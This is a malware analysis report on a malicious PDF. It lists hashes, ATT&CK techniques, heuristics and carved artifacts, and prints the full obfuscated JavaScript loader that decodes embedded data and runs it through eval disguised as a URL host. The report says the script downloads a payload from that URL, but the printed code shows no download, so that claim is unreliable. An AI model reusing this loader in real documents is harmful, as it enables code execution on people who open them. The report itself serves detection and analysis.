Malicious PDF — malware analysis report

Static analysis result for SHA-256 0d5a27b5945c81b3…

MALICIOUS

PDF

4.6 KB First seen: 2026-05-09
MD5: a977a6e63f98e4bb84c669f7bda1ee18 SHA-1: bc6c77cd92df6643a643cce23770ce54c5d68d63 SHA-256: 0d5a27b5945c81b3fac29bde363d29916db3b65d37404b0ae886fb5988e0c9ed
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains a malformed JavaScript stream that attempts to download a second-stage payload from the hardcoded URL "http://eval/query?a=exemple&b=2". The script reconstructs this URL from concatenated strings and then calls a function derived from the host, likely to execute the downloaded content. The ML classifier strongly indicates maliciousness, and the embedded file suggests a dropped payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x482 79849 bytes
SHA-256: 014a76960c81298ac917b54f5b3753a75076a376a377741a33ab20cbbd7c4227
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x224 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);